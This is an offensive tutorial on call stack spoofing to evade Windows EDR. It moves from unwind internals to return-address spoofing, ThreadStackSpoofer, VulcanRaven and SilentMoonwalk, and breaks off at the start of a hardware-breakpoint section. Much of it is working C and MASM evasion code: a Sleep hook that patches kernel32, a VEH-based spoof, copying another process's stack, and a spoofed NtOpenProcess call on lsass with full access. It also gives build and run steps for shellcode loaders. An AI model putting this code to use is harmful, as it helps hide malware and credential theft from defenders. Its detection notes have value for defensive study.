The definitive deep-dive into call stack spoofing techniques — the evolution beyond indirect syscalls for bypassing modern stack-walking AV/EDR detection on Windows.
Legend:
[DETECT]= Detection vector |[OPSEC]= Operational Security note |[EDR]= EDR behavior |[WIN]= Windows internals concept |[TOOL]= Tool reference |[ASM]= Assembly required |[C]= C code |[CS]= C# / .NET |[RS]= Rust |[IOC]= Indicator of Compromise |[NEW]= Post-2023 technique
1. Why Call Stack Spoofing — The Problem After Indirect Syscalls
Indirect syscalls clean up the top frame of the call stack — making ntdll appear as the origin of the syscall. However, advanced EDRs don't stop at the top frame. They walk the entire call chain using Windows' structured exception unwind metadata (.pdata section).
What Indirect Syscalls Leave Behind
CALL STACK — Indirect Syscall Only (still partially caught):
──────────────────────────────────────────────────────────
Frame 0: ntdll!NtAllocateVirtualMemory+0x8 ← Clean (indirect syscall)
Frame 1: 0x000001A345670001 ← YOUR LOADER (anonymous memory)
Frame 2: 0x0000000000000000 ← Nothing (anomalous)
──────────────────────────────────────────────────────────
EDR stack-walk: Frame 1 = unbacked/anonymous memory → FLAGGED
The core problem: Your loader lives in memory not backed by any signed PE (DLL/EXE on disk). When an EDR or ETW-Ti event walks the call stack, any frame pointing to this "floating/unbacked" region is a massive [IOC].
The Full Stack Spoofing Goal
TARGET — Full Stack Spoof (what we want EDRs to see):
──────────────────────────────────────────────────────────────────────
Frame 0: ntdll!NtAllocateVirtualMemory+0x8 ← ntdll (indirect syscall)
Frame 1: KernelBase!ProcessIdToSessionId+0x50 ← fake (legitimate DLL)
Frame 2: kernel32!BaseThreadInitThunk+0x14 ← fake (legitimate DLL)
Frame 3: ntdll!RtlUserThreadStart+0x21 ← fake (thread entry)
[unwind terminates — no more frames]
──────────────────────────────────────────────────────────────────────
Your loader does NOT appear anywhere in the stack.
EDR sees: legitimate-looking chain ending at thread start → passes.
Detection Comparison Table
| Technique | Top Frame | Mid Frames | Loader Visible | EDR Verdict |
|---|---|---|---|---|
| Direct Syscall | Your .exe | Your .exe | ✅ Yes | ❌ Flagged |
| Indirect Syscall | ntdll | Your .exe | ✅ Yes | ⚠️ Partial |
| Simple Return Addr Spoof | ntdll | Gadget + Your .exe | ⚠️ Partial | ⚠️ Partial |
| VulcanRaven / Synthetic | ntdll | Fake DLL frames | ❌ Hidden | ✅ Passes |
| SilentMoonwalk | ntdll | Fake DLL frames | ❌ Hidden (desync) | ✅ Passes |
| LACUNA Chain (2025) | ntdll | Ghost frames (.pdata gaps) | ❌ Hidden | ✅ Passes all known EDRs |
2. Windows x64 Call Stack Internals — What EDRs Walk
Before implementing stack spoofing, you must understand how Windows itself walks the call stack. EDRs use the same mechanism — structured exception handling unwind data.
2.1 How x64 Stack Unwinding Works
On x64 Windows, the OS does NOT use frame pointers to walk the stack. Instead, it uses:
.pdata section (PE section) → array of RUNTIME_FUNCTION entries
Each entry covers one function and points to UNWIND_INFO
UNWIND_INFO describes:
- How many bytes the function's prolog pushes/allocates
- Which non-volatile registers are saved and where
- UNWIND_CODE opcodes (UWOP_PUSH_NONVOL, UWOP_ALLOC_SMALL, etc.)
RtlVirtualUnwind() — the core OS function that reads this data
Input: current RIP (instruction pointer) + RSP (stack pointer)
Output: previous RIP (return address) + previous RSP
→ Walk one frame. Repeat = full stack walk.
// [WIN] How RtlVirtualUnwind is called (simplified)
// EDRs call this in a loop to walk the full call stack
CONTEXT ctx = { 0 };
RtlCaptureContext(&ctx); // Get current CPU state
while (ctx.Rip != 0) {
// Find the RUNTIME_FUNCTION entry for current RIP
RUNTIME_FUNCTION *rf = RtlLookupFunctionEntry(ctx.Rip, &ImageBase, &HistoryTable);
if (rf == NULL) {
// LEAF function — no .pdata entry, unwind by reading [RSP] as return addr
ctx.Rip = *(ULONG64*)ctx.Rsp;
ctx.Rsp += 8;
} else {
// NON-LEAF — use UNWIND_INFO to compute previous RSP, then read return addr
VOID* HandlerData;
ULONG64 EstablisherFrame;
RtlVirtualUnwind(UNW_FLAG_NHANDLER, ImageBase, ctx.Rip,
rf, &ctx, &HandlerData, &EstablisherFrame, NULL);
}
// ctx.Rip is now the CALLER's address (one frame up)
printf("Frame: %p (module: %s)\n", ctx.Rip, GetModuleForAddress(ctx.Rip));
}
2.2 RUNTIME_FUNCTION and UNWIND_INFO Structures
// [WIN] Key PE structures for stack unwinding
// .pdata section: array of these
typedef struct _RUNTIME_FUNCTION {
DWORD BeginAddress; // RVA of function start
DWORD EndAddress; // RVA of function end
DWORD UnwindData; // RVA of UNWIND_INFO structure
} RUNTIME_FUNCTION, *PRUNTIME_FUNCTION;
// Pointed to by RUNTIME_FUNCTION.UnwindData
typedef struct _UNWIND_INFO {
BYTE Version : 3; // Must be 1 or 2
BYTE Flags : 5; // UNW_FLAG_EHANDLER, UNW_FLAG_UHANDLER, etc.
BYTE SizeOfProlog; // Bytes in the function prolog
BYTE CountOfCodes; // Number of UNWIND_CODEs
BYTE FrameRegister : 4; // Non-volatile register used as frame pointer
BYTE FrameOffset : 4; // Offset of frame register
UNWIND_CODE UnwindCode[1];// Variable-length array of unwind codes
// Followed by: exception handler RVA (if Flags has handler bit)
} UNWIND_INFO, *PUNWIND_INFO;
// Key UNWIND_CODE operations (UWOP values)
// UWOP_PUSH_NONVOL (0x00): push non-volatile register (RSP -= 8)
// UWOP_ALLOC_LARGE (0x01): alloc large stack space
// UWOP_ALLOC_SMALL (0x02): alloc small stack space (RSP -= 8*(info+1))
// UWOP_SET_FPREG (0x03): set frame register
// UWOP_PUSH_MACHFRAME (0x0A): machine frame push (used by LACUNA Chain!)
2.3 What Makes a Stack Frame "Suspicious"
[DETECT] Suspicious stack frame indicators:
1. UNBACKED ADDRESS: Frame RIP points to memory not covered by any loaded PE
→ Shellcode in anonymous RWX region, your loader not signed
2. UNWINDABLE MISMATCH: Stack can't be properly unwound from a frame
→ Stack corruption, ROP manipulation, or incomplete spoof
3. LEAF FUNCTION IN WRONG POSITION: A leaf function (no .pdata) mid-stack
→ Not normally there in legitimate code
4. CALL-TO-SELF: Call stack contains your own loader's address range
→ Direct indicator of shellcode origin
5. MISSING THREAD START FRAMES: Stack doesn't end at RtlUserThreadStart
→ Abrupt termination, incomplete frame chain
3. How EDRs Use Call Stack Telemetry
3.1 Two Inspection Windows: At-Rest vs. During-Execution
┌─────────────────────────────────────────────────────────────────────┐
│ WINDOW 1: AT-REST (Thread Sleeping / Waiting) │
│ │
│ When your C2 beacon sleeps (WaitForSingleObject/Sleep/etc.), │
│ the thread is suspended in a kernel wait state. │
│ │
│ EDR can inspect ALL threads in ALL processes at any time: │
│ → NtQueryInformationThread → ThreadQuerySetWin32StartAddress │
│ → CaptureStackBackTrace / RtlWalkFrameChain │
│ → RtlCaptureStackBackTrace via NtQueryInformationThread │
│ │
│ IOC: Frame pointing to anonymous memory while thread is sleeping │
│ │
│ Defeated by: ThreadStackSpoofer, Ekko, Foliage sleep mask │
└─────────────────────────────────────────────────────────────────────┘
┌─────────────────────────────────────────────────────────────────────┐
│ WINDOW 2: DURING EXECUTION (API Call Interception) │
│ │
│ When your code calls a sensitive API (OpenProcess to lsass, │
│ VirtualAlloc, CreateRemoteThread, etc.) the EDR hook fires. │
│ │
│ EDR hook walks stack RIGHT NOW while the call is in progress: │
│ → RtlWalkFrameChain() from within the hook │
│ → ETW-Ti kernel-mode STACKWALK events │
│ → Kernel callback (ObRegisterCallbacks etc.) │
│ │
│ IOC: Frames 1-N point back to your shellcode's memory region │
│ │
│ Defeated by: VulcanRaven, SilentMoonwalk, hw-call-stack │
└─────────────────────────────────────────────────────────────────────┘
3.2 ETW-Ti STACKWALK Mode
[WIN] ETW-Ti (ETW Threat Intelligence) STACKWALK:
Microsoft-Windows-Threat-Intelligence ETW provider captures:
- The full user-mode call stack at the moment a syscall crosses the kernel boundary
- This fires REGARDLESS of userland hooks (it's in the kernel)
- The stack is captured BEFORE your code can clean it up
Key STACKWALK event categories:
KERNEL_THREATINT_TASK_ALLOCVM ← NtAllocateVirtualMemory
KERNEL_THREATINT_TASK_WRITEVM ← NtWriteVirtualMemory
KERNEL_THREATINT_TASK_MAPVIEW ← NtMapViewOfSection
KERNEL_THREATINT_TASK_OPENPROCESS ← NtOpenProcess
KERNEL_THREATINT_TASK_CREATETHREAD ← NtCreateThreadEx
ETW-Ti is what makes indirect syscalls alone insufficient:
The kernel logs your REAL call stack at the moment of transition,
not what you put in your stub's return chain.
3.3 Kernel Callbacks That Also Fire
[WIN] Kernel callbacks that see your real stack origin:
PsSetCreateProcessNotifyRoutine → process creation
PsSetCreateThreadNotifyRoutine → thread creation
PsSetLoadImageNotifyRoutine → DLL loading
ObRegisterCallbacks → handle operations (OpenProcess to lsass)
MiniFilter (file callbacks) → file I/O
These fire regardless of userland technique.
Only kernel-level mitigation (BYOVD / signed driver) can affect these.
Stack spoofing does NOT prevent kernel callbacks from firing,
but a clean-looking stack causes the EDR to dismiss the alert.
4. Technique 1 — Return Address Spoofing (namazso / Simple RAS)
The original call stack spoofing technique, designed by namazso. The simplest approach: overwrite the return address on the stack before making a suspicious call, then restore it after.
4.1 Concept
BEFORE SPOOF:
Stack: [ return_to_your_loader | ... ]
EDR sees: "this call came from your_loader (unbacked)"
DURING SPOOF:
Overwrite [RSP] with address of a gadget inside KernelBase
Stack: [ KernelBase_gadget | ... ]
EDR sees: "this call came from KernelBase (signed, trusted)"
AFTER CALL RETURNS:
Restore [RSP] with original return address
Execution continues normally in your loader
4.2 Finding a Suitable Gadget Address
A "gadget" here is any address inside a signed, trusted module that looks like a valid call site — typically an instruction that immediately follows a CALL instruction.
// [C] Find a "return from call" gadget in a trusted module
// We want an address inside KernelBase/kernel32 that looks like
// a place that legitimately called something (instruction after CALL)
PVOID FindCallGadget(HMODULE hMod, PCSTR funcHint) {
PBYTE pBase = (PBYTE)hMod;
PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)pBase;
PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)(pBase + pDos->e_lfanew);
PIMAGE_SECTION_HEADER pSec = IMAGE_FIRST_SECTION(pNt);
for (WORD i = 0; i < pNt->FileHeader.NumberOfSections; i++, pSec++) {
if (!(pSec->Characteristics & IMAGE_SCN_CNT_CODE)) continue;
PBYTE start = pBase + pSec->VirtualAddress;
DWORD size = pSec->Misc.VirtualSize;
for (DWORD j = 0; j < size - 6; j++) {
// Look for: E8 xx xx xx xx (CALL rel32)
// The byte AFTER this CALL is a valid "return from call" site
if (start[j] == 0xE8) {
PVOID gadget = (PVOID)(start + j + 5); // Address after CALL
return gadget;
}
// Also look for: FF 15 xx xx xx xx (CALL [mem]) — indirect call
if (start[j] == 0xFF && start[j+1] == 0x15) {
return (PVOID)(start + j + 6);
}
}
}
return NULL;
}
// Commonly used stable gadgets (hardcoded — from real module offsets):
// KernelBase!BaseThreadInitThunk+0x14 ← most common, used in many PoCs
// ntdll!RtlUserThreadStart+0x21 ← thread "root" frame
// kernel32!UnhandledExceptionFilter+0x? ← also used in VulcanRaven
4.3 Simple Return Address Spoof Implementation
; [ASM] Simple Return Address Spoof — MASM x64
; Overwrites [RSP] before the call, restores it after
.data
g_realRetAddr QWORD 0 ; backup of the original return address
g_spoofGadget QWORD 0 ; address of gadget in KernelBase
.code
; SpoofedCall(PVOID target, ...)
; Called like: SpoofedCall(pNtOpenProcess, arg1, arg2, arg3, arg4)
SpoofedCall PROC
; Save the real return address (currently at [RSP])
mov rax, [rsp]
mov g_realRetAddr, rax
; Replace return address with gadget in KernelBase
mov rax, g_spoofGadget
mov [rsp], rax
; ---- The call that EDR inspects fires here ----
; (Arguments are already in RCX, RDX, R8, R9 — Windows ABI)
; But since we replaced [RSP], when the callee returns,
; execution goes to g_spoofGadget, not back to us.
;
; We need a different mechanism to get back control.
; See Section 4.4 for the full solution.
jmp rcx ; Jump to the target function (1st arg = function address)
SpoofedCall ENDP
END
4.4 Full Return Address Spoof with VEH Restore
The gadget we jumped to will eventually ret — which means execution will land at the gadget address. To get back to our code, we use a Vectored Exception Handler that catches a single-step breakpoint planted at the gadget:
// [C] Full RAS with VEH-based restoration
// Method: Plant INT3/hardware breakpoint at gadget address to intercept execution return
#include <windows.h>
static PVOID g_savedRetAddr = NULL;
static PVOID g_gadgetAddr = NULL;
static BYTE g_savedByte = 0;
// VEH handler: catches the INT3 at gadget, restores real return address
LONG WINAPI VEH_ReturnAddressRestore(PEXCEPTION_POINTERS pEx) {
if (pEx->ExceptionRecord->ExceptionCode == EXCEPTION_BREAKPOINT) {
if (pEx->ContextRecord->Rip == (ULONG64)g_gadgetAddr) {
// Restore original return address on stack
// The gadget's RET will now go back to our real code
*(PVOID*)pEx->ContextRecord->Rsp = g_savedRetAddr;
// Restore overwritten byte at gadget
DWORD oldProt;
VirtualProtect(g_gadgetAddr, 1, PAGE_EXECUTE_READWRITE, &oldProt);
*(BYTE*)g_gadgetAddr = g_savedByte;
VirtualProtect(g_gadgetAddr, 1, oldProt, &oldProt);
// Continue execution (will now return to OUR code)
return EXCEPTION_CONTINUE_EXECUTION;
}
}
return EXCEPTION_CONTINUE_SEARCH;
}
// Perform a call with spoofed return address
// returnToAddr: where WE want to return to after the call
// gadget: trusted module address that appears as our caller
// target: the function to actually call
void SpoofCall_WithVEH(PVOID target, PVOID gadget, PVOID returnToAddr, ...) {
g_savedRetAddr = returnToAddr;
g_gadgetAddr = gadget;
// Plant INT3 at gadget so we catch return
DWORD oldProt;
VirtualProtect(gadget, 1, PAGE_EXECUTE_READWRITE, &oldProt);
g_savedByte = *(BYTE*)gadget;
*(BYTE*)gadget = 0xCC; // INT3
VirtualProtect(gadget, 1, oldProt, &oldProt);
// Register VEH to handle the INT3
PVOID hVEH = AddVectoredExceptionHandler(1, VEH_ReturnAddressRestore);
// Overwrite return address on stack with gadget, call target
// (implementation requires inline asm / MASM for RSP manipulation)
SpoofedCallCore(target, gadget); // MASM stub that does the RSP swap
RemoveVectoredExceptionHandler(hVEH);
}
[OPSEC]Simple RAS is the oldest technique and is now partially detected by advanced EDRs that check whether the stack is properly unwindable. A broken unwind chain (whereRtlVirtualUnwindhits a dead-end or returns a garbage value) is itself an IOC. More sophisticated techniques (Sections 7, 8) solve this by making the entire chain properly unwindable.
5. Technique 2 — ThreadStackSpoofer (Sleep-Time Stack Hiding)
mgeeky's ThreadStackSpoofer is the first widely-adopted PoC, targeting the at-rest inspection window. When your beacon sleeps, overwrite the return address in the sleeping thread's stack to hide the shellcode frame.
- GitHub:
github.com/mgeeky/ThreadStackSpoofer - Target: Thread sleeping in
Sleep()/WaitForSingleObject() - Method: Hook
kernel32!Sleep, overwrite return address before sleeping, restore after waking
5.1 Core Concept
NORMAL BEACON SLEEP:
Beacon code → calls Sleep(5000) → thread suspended
EDR scans sleeping thread: Frame 0 = NtDelayExecution, Frame 1 = YOUR LOADER
→ DETECTED (frame 1 is unbacked)
THREADSTACKSPOOFER:
Beacon code → calls MySleep(5000) (our hooked Sleep)
→ MySleep saves real return addr (→ beacon code)
→ MySleep overwrites return addr with 0x0 (or valid gadget)
→ MySleep calls real Sleep(5000)
→ Thread suspended
EDR scans: Frame 0 = NtDelayExecution, Frame 1 = 0x0 (nothing)
→ Less suspicious — no shellcode address visible
Thread wakes: MySleep restores real return addr, returns to beacon
5.2 Implementation
// [C] ThreadStackSpoofer — hook Sleep and spoof at-rest stack
// Based on: github.com/mgeeky/ThreadStackSpoofer
#include <windows.h>
#include <stdio.h>
// We'll hook kernel32!Sleep and replace it with our spoofing version
typedef void (WINAPI *pfnSleep)(DWORD dwMilliseconds);
pfnSleep g_originalSleep = NULL;
// Our replacement Sleep that hides the call stack
void WINAPI MySleep(DWORD dwMilliseconds) {
// Step 1: Walk up the stack to find return address(es) pointing to shellcode
// In the simple version, we just zero out the frame above us
PVOID *pStackRetAddr = NULL;
__asm {
// Get caller's return address from [RSP] (current frame)
mov rax, [rsp]
mov [pStackRetAddr], rsp // actually need RSP at point of call
}
// The return address at current RSP points back to our shellcode/loader
// Save and zero it out
PVOID savedReturnAddr = *pStackRetAddr;
ULONG64 origReturnAddr = (ULONG64)savedReturnAddr;
printf("[*] MySleep: hiding return address 0x%p\n", savedReturnAddr);
// Overwrite with NULL or a valid but non-revealing address
// Simple version: set to 0
*pStackRetAddr = NULL;
// Step 2: Sleep (the scan happens here — call stack is now "clean")
g_originalSleep(dwMilliseconds);
// Step 3: Wake up — restore real return address
*pStackRetAddr = savedReturnAddr;
printf("[*] MySleep: restored return address\n");
// Function returns normally to shellcode/beacon
}
// Hook kernel32!Sleep with our version
BOOL InstallSleepHook(void) {
HMODULE hK32 = GetModuleHandleA("kernel32.dll");
PBYTE pSleep = (PBYTE)GetProcAddress(hK32, "Sleep");
if (!pSleep) return FALSE;
// Save original
g_originalSleep = (pfnSleep)pSleep;
// Patch with JMP to MySleep
DWORD oldProt;
VirtualProtect(pSleep, 12, PAGE_EXECUTE_READWRITE, &oldProt);
// JMP [RIP+0] pattern (FF 25 00 00 00 00 <8 bytes addr>)
*(WORD*)(pSleep) = 0x25FF;
*(DWORD*)(pSleep + 2) = 0x00000000;
*(PVOID*)(pSleep + 6) = (PVOID)MySleep;
VirtualProtect(pSleep, 12, oldProt, &oldProt);
return TRUE;
}
5.3 Usage (Compilation + Run)
# [TOOL] Build ThreadStackSpoofer (Visual Studio / MSVC)
git clone https://github.com/mgeeky/ThreadStackSpoofer
cd ThreadStackSpoofer
# Open ThreadStackSpoofer.sln in Visual Studio 2022
# Build → Release → x64
# Output: x64/Release/ThreadStackSpoofer.exe
# Run with shellcode file (raw binary) and spoof mode
.\ThreadStackSpoofer.exe .\tests\beacon64.bin 1
# Arguments:
# beacon64.bin = raw shellcode file
# 1 = enable stack spoofing (0 = disabled, for comparison)
[TOOL] Expected output:
[.] Reading shellcode bytes...
[.] Hooking kernel32!Sleep...
[.] Injecting shellcode...
[>] Original return address: 0x1926747bd51. Finishing call stack...
===> MySleep(5000)
[<] Restoring original return address...
[DETECT]ThreadStackSpoofer only hides frames during sleep. When the beacon is ACTIVE (making C2 calls, executing post-ex modules), the real call stack is visible. Advanced EDRs that inspect stacks on API calls (not just at rest) will still see the unbacked frames. This is the limitation that VulcanRaven and SilentMoonwalk address.
6. Technique 3 — VulcanRaven (Synthetic Stack Mirroring)
VulcanRaven (WithSecureLabs) goes beyond sleep-only spoofing — it creates a synthetic thread stack that mirrors a real call stack from a legitimate process, allowing you to call sensitive APIs with a completely fabricated-but-believable call chain.
- GitHub:
github.com/WithSecureLabs/VulcanRaven - Blog:
labs.withsecure.com/publications/spoofing-call-stacks-to-confuse-edrs - Target: During-execution inspection (API call time)
- Method: Copy a real call stack from a trusted process, use it as the thread's stack during the API call
6.1 Concept
NORMAL EXECUTION (unbacked frame visible):
Your shellcode → calls NtOpenProcess(lsass)
EDR hook fires:
Frame 0: ntdll!NtOpenProcess+0x14
Frame 1: 0x00001337DEAD0000 ← Your shellcode (UNBACKED) → ALERT
VULCANRAVEN (synthetic call stack):
1. Find a legitimate thread in a trusted process (e.g., spoolsv.exe)
that is currently sleeping in NtWaitForSingleObject
Copy its ENTIRE stack contents
2. When you need to call NtOpenProcess:
→ Temporarily replace your thread's call stack with the copied one
→ Make the call
→ EDR fires and sees spoolsv.exe's legitimate stack
3. Restore your real stack
→ Continue execution normally
EDR sees:
Frame 0: ntdll!NtOpenProcess+0x14
Frame 1: ntdll!NtWaitForSingleObject+0x14 ← from spoolsv.exe!
Frame 2: KernelBase!WaitForSingleObjectEx+0x93
Frame 3: kernel32!WaitForSingleObjectExImplementation+0x5f
[... more spoolsv.exe frames ...]
Frame N: ntdll!RtlUserThreadStart+0x21
→ All legit! Alert suppressed.
6.2 Key Structures Used
// [C] VulcanRaven's approach — key structures
// Represents a captured stack frame
typedef struct _STACK_FRAME {
PVOID ReturnAddress; // The return address at this frame
ULONG64 FrameSize; // Bytes allocated by this function's prolog
} STACK_FRAME, *PSTACK_FRAME;
// A complete captured "fake" call stack
typedef struct _FAKE_CALL_STACK {
BYTE StackData[0x2000]; // Raw stack bytes (copied from legit thread)
SIZE_T StackSize;
ULONG64 StackBase; // Where to place this on our thread's stack
ULONG64 OriginalRSP; // Where our real RSP was before spoof
} FAKE_CALL_STACK, *PFAKE_CALL_STACK;
6.3 Building the Fake Stack
// [C] Copy a sleeping thread's stack from a trusted process (simplified)
// Full implementation: github.com/WithSecureLabs/VulcanRaven
BOOL BuildFakeStackFromThread(
HANDLE hProcess, // Handle to target process (e.g., spoolsv.exe)
HANDLE hThread, // Handle to a sleeping thread in that process
PFAKE_CALL_STACK pFake
) {
CONTEXT ctx = { 0 };
ctx.ContextFlags = CONTEXT_FULL;
// Get sleeping thread's context (RSP, etc.)
SuspendThread(hThread);
GetThreadContext(hThread, &ctx);
ResumeThread(hThread);
// ctx.Rsp is the top of the sleeping thread's stack
// Read their stack into our fake buffer
SIZE_T bytesRead = 0;
ULONG64 stackTop = ctx.Rsp;
// Calculate stack range (read the Thread Environment Block for limits)
NT_TIB64 tib = { 0 };
if (!ReadProcessMemory(hProcess, (PVOID)(__readgsqword(0x30)), &tib, sizeof(tib), NULL)) {
// Fallback: read a fixed amount
}
// Read their stack contents
if (!ReadProcessMemory(hProcess,
(PVOID)stackTop,
pFake->StackData,
sizeof(pFake->StackData),
&bytesRead)) {
return FALSE;
}
pFake->StackSize = bytesRead;
pFake->StackBase = stackTop;
printf("[+] Captured %zu bytes of stack from legit thread at RSP=0x%llx\n",
bytesRead, stackTop);
return TRUE;
}
6.4 Using the Fake Stack for a Spoofed Call (Concept)
// [C] Perform NtOpenProcess with VulcanRaven-style spoofed stack
// (Simplified — actual impl uses direct RSP swap in assembly)
NTSTATUS SpoofedNtOpenProcess(
PHANDLE pHandle,
ACCESS_MASK access,
POBJECT_ATTRIBUTES pOA,
PCLIENT_ID pCID,
PFAKE_CALL_STACK pFake
) {
ULONG64 savedRSP;
// 1. Save our real RSP
__asm { mov savedRSP, rsp }
// 2. Copy fake stack data to current thread's stack (overwrites our frames!)
// We position it at RSP - sizeof(fake stack) to align properly
ULONG64 newRSP = savedRSP - pFake->StackSize;
memcpy((PVOID)newRSP, pFake->StackData, pFake->StackSize);
// 3. Adjust RSP to point to fake stack
// (done in assembly — can't use C here for RSP manipulation)
// 4. Make the real call — EDR hook will see fake stack
// (This assembly does: mov rsp, newRSP; call pNtOpenProcess; mov rsp, savedRSP)
NTSTATUS st = PerformSpoofedCall_ASM(
pNtOpenProcess,
savedRSP, newRSP,
pHandle, access, pOA, pCID
);
return st;
}
[OPSEC]VulcanRaven relies on precomputed static call stacks. It needs an actual sleeping thread from a legitimate process to copy from. This makes it context-dependent and harder to automate. SilentMoonwalk (Section 7) solves this with a fully dynamic approach.
7. Technique 4 — SilentMoonwalk (Full Desync Spoofer)
SilentMoonwalk is the most influential call stack spoofing technique, presented at DEF CON 31 (2023) by klezVirus, waldoirc, and trickster0. It uses ROP-based stack desynchronization to make Windows' unwind mechanism produce a completely different call chain than the actual execution path.
- GitHub:
github.com/klezVirus/SilentMoonwalk - Blog:
klezvirus.github.io/posts/Stackmoonwalk/ - Key insight: Desync Windows stack unwinding from actual control flow using UNWIND_CODE manipulation
7.1 The Desync Concept
Windows' RtlVirtualUnwind follows UNWIND_INFO structures. If you engineer a stack layout where the unwind path diverges from the execution path, then:
- Control flow: Goes through your shellcode
- Unwind result: Shows a completely fake, legitimate call chain
DESYNC STACK PRINCIPLE:
Actual execution path (what really happens):
Your code → calls target API → returns → continues your code
Unwind path (what RtlVirtualUnwind sees):
ntdll!NtXxx → ntdll!RtlUserThreadStart → [done]
(No EXE appears anywhere in unwind output)
The magic: ROP gadgets with carefully chosen UNWIND_INFOs
cause the unwinder to "teleport" past your frames entirely.
7.2 The Three Required Fake Frames (namazso's insight)
To properly desync the stack, three fake frames must be crafted:
FRAME A — "Desync Frame" (The Key Gadget):
Must have UNWIND_INFO with DIFFERENT UWOP than the real caller
Specifically: the desync frame must use UWOP_PUSH_NONVOL to POP into RBP
This makes the unwinder advance RSP past your code
FRAME B — "Intermediate Frame" (Bridge Frame):
A function that unwinds via POP RBP (UWOP_PUSH_NONVOL for RBP register)
Acts as the "bridge" that connects desync to the terminal frames
FRAME C — "Terminal Frame" (Legit Thread Start):
ntdll!RtlUserThreadStart or similar thread-root function
This is what appears at the "bottom" of the spoofed stack
Gives a convincing reason for why this thread exists
7.3 SilentMoonwalk Assembly Core
; [ASM] SilentMoonwalk core concept (simplified MASM)
; Based on: github.com/klezVirus/SilentMoonwalk
; The "Desync Gadget" — found by scanning signed modules for a specific UWOP sequence
; Must be a function with UNWIND_INFO that pops into RBP (UWOP_PUSH_NONVOL for RBP)
; We find this at runtime by parsing .pdata of loaded modules
; When the spoofer sets up the stack before calling the target API:
;
; Stack layout (RSP points to bottom of this):
;
; [RSP+0x00]: g_funcAddr ← address of TARGET API to call
; [RSP+0x08]: g_desyncGadget ← FRAME A return addr (desync)
; [RSP+0x10]: [fake RBP for A] ← what FRAME A's unwind code pops into RBP
; [RSP+0x18]: g_bridgeGadget ← FRAME B return addr
; [RSP+0x20]: [fake context for B]
; [RSP+0x28]: ntdll!RtlUserThreadStart+0x21 ← FRAME C (terminal)
;
; When RtlVirtualUnwind walks this:
; 1. Starts at target API frame (ntdll)
; 2. Next frame = desync gadget → unwinder pops RBP and advances past real frames
; 3. Next frame = bridge gadget → unwinder follows bridge
; 4. Next frame = RtlUserThreadStart → unwind terminates (thread root)
; Result: Your EXE frames are NEVER seen by the unwinder
SilentMoonwalk_SetupStack PROC
; This MASM stub sets up the fake stack and calls the target
; Arguments:
; RCX = target function address
; RDX = pointer to pre-built fake stack layout struct
; R8..stack = arguments for the target function
; Step 1: Save current RSP
mov r11, rsp
mov [rdx + FAKESTK.SavedRSP], r11
; Step 2: Calculate new RSP position (move down to fit fake frames)
; RSP must be 16-byte aligned before the CALL
sub rsp, [rdx + FAKESTK.FakeFrameSize]
and rsp, -10h ; align to 16 bytes
; Step 3: Copy pre-built fake frame data to new stack location
; The fake frames contain: desync gadget addr, bridge addr, RtlUserThreadStart addr
mov rsi, [rdx + FAKESTK.FakeFramePtr]
mov rdi, rsp
mov rcx, [rdx + FAKESTK.FakeFrameSize]
rep movsb
; Step 4: JMP (not CALL!) to target — no new frame pushed
; This means EDR sees: [ntdll!NtXxx] on top → unwinds through our fake chain
jmp [rdx + FAKESTK.TargetFuncAddr]
SilentMoonwalk_SetupStack ENDP
7.4 C Wrapper for SilentMoonwalk
// [C] SilentMoonwalk usage wrapper
// Clone: git clone https://github.com/klezVirus/SilentMoonwalk
// Integrating the desync spoofer into a custom shellcode loader
#include "spoof.h" // From SilentMoonwalk repo
// SilentMoonwalk provides a SpoofCall function:
// NTSTATUS SpoofCall(PVOID funcAddr, ...args...);
// Example: Open process with a spoofed call stack
HANDLE lsassHandle = NULL;
CLIENT_ID cid = { .UniqueProcess = (HANDLE)(ULONG_PTR)lsassPid };
OBJECT_ATTRIBUTES oa = { sizeof(OBJECT_ATTRIBUTES), 0, NULL, 0, NULL, NULL };
// Without spoof — EDR sees your loader in stack
// NTSTATUS st = NtOpenProcess(&lsassHandle, PROCESS_ALL_ACCESS, &oa, &cid);
// With SilentMoonwalk — EDR sees fake legitimate stack
// Arguments: function addr, then all function params
NTSTATUS st = SpoofCall(
(PVOID)pNtOpenProcess, // target function
&lsassHandle, // arg1 (NtOpenProcess params)
PROCESS_ALL_ACCESS, // arg2
&oa, // arg3
&cid // arg4
);
if (NT_SUCCESS(st)) {
printf("[+] Opened lsass: %p (stack was spoofed)\n", lsassHandle);
}
7.5 Building and Running SilentMoonwalk
# [TOOL] Build SilentMoonwalk on Windows (MSVC + MASM)
git clone https://github.com/klezVirus/SilentMoonwalk
cd SilentMoonwalk
# Open SilentMoonwalk.sln in Visual Studio 2022
# Build → Release → x64
# Output: x64/Release/SilentMoonwalk.exe
# Run the demo (calls getchar / MessageBoxA with spoofed stack):
.\SilentMoonwalk.exe
# Use with -a flag to specify target function address:
.\SilentMoonwalk.exe -a 0x7ffaae12182c
# Test with WinDbg or x64dbg:
# Set bp at ntdll!NtOpenProcess
# When it hits: k command → should show only ntdll + RtlUserThreadStart
# Your .exe should NOT appear in the output
7.6 Stack Comparison (Debugger Output)
WITHOUT SPOOF (k output in WinDbg):
00 00000014`3d7fe9f0 00007ffc`6e290cbc ntdll!NtOpenProcess+0x14
01 00000014`3d7fe9f8 00007ff7`12340abc KERNELBASE!OpenProcess+0x6c
02 00000014`3d7fea40 00007ff7`1234 YourLoader!InjectShellcode+0x5a
03 00000014`3d7fea80 00007ff7`1234 YourLoader!main+0x12
← YOUR EXE IS VISIBLE → ALERT
WITH SILENTMOONWALK (k output in WinDbg):
00 00000014`3d7fe9f0 00007ffc`6e280021 ntdll!NtOpenProcess+0x14
01 00000014`3d7fe9f8 00000000`00000000 ntdll!RtlUserThreadStart+0x21
← CLEAN — Your EXE is gone, only ntdll thread root visible
[OPSEC]SilentMoonwalk's desync-only mode creates a stack that is technically non-unwindable (unwinding terminates abnormally at the desync point). Advanced EDRs checking for "properly unwindable stacks" may flag this. Thesyntheticmode (which constructs a complete fake unwindable chain) is more convincing but harder to set up.
8. Technique 5 — Hardware Breakpoint Call Stack Spoof (hw-call-stack)
hw-call-stack (Fortra/Core Security) uses hardware debug registers (Dr0–Dr3) to completely swap the thread's call stack before and after a syscall fires. Because hardware breakpoints trigger via the CPU's debug mechanism (not userland hooks), the swap happens at exactly the right moment.
- GitHub:
github.com/fortra/hw-call-stack - Blog:
coresecurity.com/blog/hardware-call-stack - Method: Dr0 hardware breakpoint at syscall entry → VEH swaps stack → syscall executes with fake stack → HWBP at return fires → stack restored
8.1 Concept
HARDWARE BREAKPOINT APPROACH:
